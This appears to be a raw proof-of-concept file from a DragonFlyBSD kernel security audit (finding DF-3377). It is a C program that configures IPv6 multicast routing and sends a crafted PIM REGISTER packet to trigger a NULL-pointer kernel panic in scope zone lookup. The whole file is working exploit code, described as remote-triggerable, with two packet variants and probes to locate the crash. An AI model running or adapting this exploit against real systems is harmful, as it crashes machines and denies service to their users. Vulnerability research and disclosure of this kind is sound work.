⬢ DragonFlyBSD Kernel Audit
DF-3377 / trigger_pim6_reg.c
← back to finding ↓ download raw
/*
 * DF-3377 PoC v2: remote-triggerable NULL deref panic via PIM6 REGISTER
 * decapsulation + ip6_mdq() scope check.  Instrumented to bisect where the
 * packet dies if no panic occurs.
 *
 * Chain: MRT6_INIT -> MRT6_ADD_MIF(mifi=0, MIFF_REGISTER) ->
 * MRT6_ADD_MFC(parent=0) -> PIM REGISTER to ::1 ->
 * pim6_input -> if_simloop(multicast_register_if) -> ip6_input ->
 * ip6_mforward -> MF6CFIND hit -> ip6_mdq ->
 * in6_addr2zoneid(multicast_register_if, scoped addr) ->
 * scope6.c SID(ifp)==NULL -> sid->s6id_list[scope] -> panic (VA 0x4..0x10)
 *
 * Variant A: inner src fe80::1 (LINKLOCAL scope src), dst ff0e::42
 * Variant B: inner src 2001:db8::1, dst ff05::42 (SITELOCAL scope dst)
 *
 * Must run as root.
 */
#include <sys/types.h>
#include <sys/param.h>		/* NBBY for ip6_mroute.h */
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet6/ip6_mroute.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define	PIM_PROTO	103
#define	PIM_MINLEN	8		/* pim hdr + register hdr word */
#define	SIOCGETSGCNT_IN6	_IOWR('u', 106, struct sioc_sg_req6)
#define	SIOCGETMIFCNT_IN6	_IOWR('u', 107, struct sioc_mif_req6)

static uint32_t
in6_sum(const uint8_t *b, size_t n)
{
	uint32_t sum = 0;

	while (n > 1) {
		sum += (b[0] << 8) | b[1];
		b += 2;
		n -= 2;
	}
	if (n)
		sum += b[0] << 8;
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (sum);
}

static void
query_mif(int fd, mifi_t mifi)
{
	struct sioc_mif_req6 rq;

	memset(&rq, 0, sizeof(rq));
	rq.mifi = mifi;
	if (ioctl(fd, SIOCGETMIFCNT_IN6, &rq) < 0)
		printf("[probe] mif %u counters: %s\n", mifi, strerror(errno));
	else
		printf("[probe] mif %u: in=%llu out=%llu ibytes=%llu "
		    "obytes=%llu\n", mifi,
		    (unsigned long long)rq.icount,
		    (unsigned long long)rq.ocount,
		    (unsigned long long)rq.ibytes,
		    (unsigned long long)rq.obytes);
}

static void
query_sg(int fd, const char *src, const char *grp)
{
	struct sioc_sg_req6 rq;

	memset(&rq, 0, sizeof(rq));
	rq.src.sin6_family = AF_INET6;
	inet_pton(AF_INET6, src, &rq.src.sin6_addr);
	rq.grp.sin6_family = AF_INET6;
	inet_pton(AF_INET6, grp, &rq.grp.sin6_addr);
	if (ioctl(fd, SIOCGETSGCNT_IN6, &rq) < 0)
		printf("[probe] sg(%s,%s): %s\n", src, grp, strerror(errno));
	else
		printf("[probe] sg(%s,%s): pkt=%llu bytes=%llu wrongif=%llu\n",
		    src, grp, (unsigned long long)rq.pktcnt,
		    (unsigned long long)rq.bytecnt,
		    (unsigned long long)rq.wrong_if);
}

static void
drain_upcalls(int s)
{
	char buf[2048];
	struct sockaddr_in6 from;
	socklen_t flen;
	ssize_t n;
	struct {
		uint8_t t, msgtype;
		uint16_t mif;
		uint32_t pad;
		char src[64], dst[64];
	} up;

	for (;;) {
		flen = sizeof(from);
		n = recvfrom(s, buf, sizeof(buf), MSG_DONTWAIT,
		    (struct sockaddr *)&from, &flen);
		if (n < 0)
			break;
		memset(&up, 0, sizeof(up));
		if (n >= 8) {
			up.t = buf[0];
			up.msgtype = buf[1];
			memcpy(&up.mif, buf + 2, 2);
		}
		printf("[upcall] recv %zd bytes: type=%u mif=%u\n",
		    n, up.msgtype, ntohs(up.mif));
	}
}

static int
send_register(int sp, const char *inner_src, const char *inner_dst,
    uint8_t inner_hlim)
{
	uint8_t buf[52];
	uint8_t ph[40], body[8];
	uint32_t plen32, nxt32, sum;
	uint16_t csum;
	struct sockaddr_in6 dst;

	memset(buf, 0, sizeof(buf));
	buf[0] = 0x21;		/* PIM ver 2, type 1 = REGISTER */
	buf[1] = 0;
	buf[2] = buf[3] = 0;
	/* buf[4..7] = register hdr = 0 (not a null-register) */
	buf[8] = 0x60;		/* inner IPv6 version 6 */
	buf[14] = 59;		/* IPPROTO_NONE */
	buf[15] = inner_hlim;
	inet_pton(AF_INET6, inner_src, buf + 16);
	inet_pton(AF_INET6, inner_dst, buf + 32);

	memset(ph, 0, sizeof(ph));
	inet_pton(AF_INET6, "::1", ph);		/* outer src */
	inet_pton(AF_INET6, "::1", ph + 16);	/* outer dst */
	plen32 = htonl(PIM_MINLEN);
	nxt32 = htonl(PIM_PROTO);
	memcpy(ph + 32, &plen32, 4);
	memcpy(ph + 36, &nxt32, 4);
	memcpy(body, buf, 8);
	sum = in6_sum(ph, 40) + in6_sum(body, 8);
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	csum = (uint16_t)~sum;
	buf[2] = csum >> 8;
	buf[3] = csum & 0xff;

	memset(&dst, 0, sizeof(dst));
	dst.sin6_family = AF_INET6;
	dst.sin6_len = sizeof(dst);
	inet_pton(AF_INET6, "::1", &dst.sin6_addr);

	return (sendto(sp, buf, sizeof(buf), 0,
	    (struct sockaddr *)&dst, sizeof(dst)));
}

int
main(void)
{
	int s, sp, q, rc;
	long long w = 1;
	struct sockaddr_in6 bnd;
	struct mif6ctl mc;
	struct mf6cctl fc;

	setvbuf(stdout, NULL, _IONBF, 0);

	s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
	if (s < 0) {
		printf("socket(ICMPV6): %s\n", strerror(errno));
		return (1);
	}
	rc = setsockopt(s, IPPROTO_IPV6, MRT6_INIT, &w, sizeof(w));
	printf("[setup] MRT6_INIT: rc=%d (%s)\n", rc, strerror(errno));
	if (rc)
		return (1);

	memset(&mc, 0, sizeof(mc));
	mc.mif6c_mifi = 0;
	mc.mif6c_flags = MIFF_REGISTER;
	mc.mif6c_pifi = 1;	/* lo0 */
	rc = setsockopt(s, IPPROTO_IPV6, MRT6_ADD_MIF, &mc, sizeof(mc));
	printf("[setup] MRT6_ADD_MIF(0, REGISTER): rc=%d (%s)\n", rc,
	    strerror(errno));
	if (rc)
		return (1);

	/* two cache entries, parent = register mif 0 */
	memset(&fc, 0, sizeof(fc));
	fc.mf6cc_origin.sin6_family = AF_INET6;
	fc.mf6cc_origin.sin6_len = sizeof(struct sockaddr_in6);
	inet_pton(AF_INET6, "fe80::1", &fc.mf6cc_origin.sin6_addr);
	fc.mf6cc_mcastgrp.sin6_family = AF_INET6;
	fc.mf6cc_mcastgrp.sin6_len = sizeof(struct sockaddr_in6);
	inet_pton(AF_INET6, "ff0e::42", &fc.mf6cc_mcastgrp.sin6_addr);
	fc.mf6cc_parent = 0;
	IF_ZERO(&fc.mf6cc_ifset);
	rc = setsockopt(s, IPPROTO_IPV6, MRT6_ADD_MFC, &fc, sizeof(fc));
	printf("[setup] MRT6_ADD_MFC(fe80::1, ff0e::42, parent=0): rc=%d "
	    "(%s)\n", rc, strerror(errno));

	memset(&fc, 0, sizeof(fc));
	fc.mf6cc_origin.sin6_family = AF_INET6;
	fc.mf6cc_origin.sin6_len = sizeof(struct sockaddr_in6);
	inet_pton(AF_INET6, "2001:db8::1", &fc.mf6cc_origin.sin6_addr);
	fc.mf6cc_mcastgrp.sin6_family = AF_INET6;
	fc.mf6cc_mcastgrp.sin6_len = sizeof(struct sockaddr_in6);
	inet_pton(AF_INET6, "ff05::42", &fc.mf6cc_mcastgrp.sin6_addr);
	fc.mf6cc_parent = 0;
	IF_ZERO(&fc.mf6cc_ifset);
	rc = setsockopt(s, IPPROTO_IPV6, MRT6_ADD_MFC, &fc, sizeof(fc));
	printf("[setup] MRT6_ADD_MFC(2001:db8::1, ff05::42, parent=0): rc=%d "
	    "(%s)\n", rc, strerror(errno));

	q = socket(AF_INET6, SOCK_DGRAM, 0);
	query_mif(q, 0);
	query_sg(q, "fe80::1", "ff0e::42");
	query_sg(q, "2001:db8::1", "ff05::42");

	sp = socket(AF_INET6, SOCK_RAW, PIM_PROTO);
	if (sp < 0) {
		printf("socket(PIM): %s\n", strerror(errno));
		return (1);
	}
	memset(&bnd, 0, sizeof(bnd));
	bnd.sin6_family = AF_INET6;
	bnd.sin6_len = sizeof(bnd);
	inet_pton(AF_INET6, "::1", &bnd.sin6_addr);
	if (bind(sp, (struct sockaddr *)&bnd, sizeof(bnd)) < 0)
		printf("bind(::1): %s (continuing)\n", strerror(errno));

	printf("[trigger] variant A: inner fe80::1 -> ff0e::42\n");
	rc = send_register(sp, "fe80::1", "ff0e::42", 64);
	printf("[trigger] sendto: rc=%d (%s)\n", rc, strerror(errno));
	sleep(1);
	drain_upcalls(s);
	query_mif(q, 0);
	query_sg(q, "fe80::1", "ff0e::42");

	printf("[trigger] variant B: inner 2001:db8::1 -> ff05::42\n");
	rc = send_register(sp, "2001:db8::1", "ff05::42", 64);
	printf("[trigger] sendto: rc=%d (%s)\n", rc, strerror(errno));
	sleep(1);
	drain_upcalls(s);
	query_mif(q, 0);
	query_sg(q, "2001:db8::1", "ff05::42");

	/* if the bug fires, we never get here */
	sleep(2);
	printf("[trigger] no panic observed: guest still alive\n");
	return (0);
}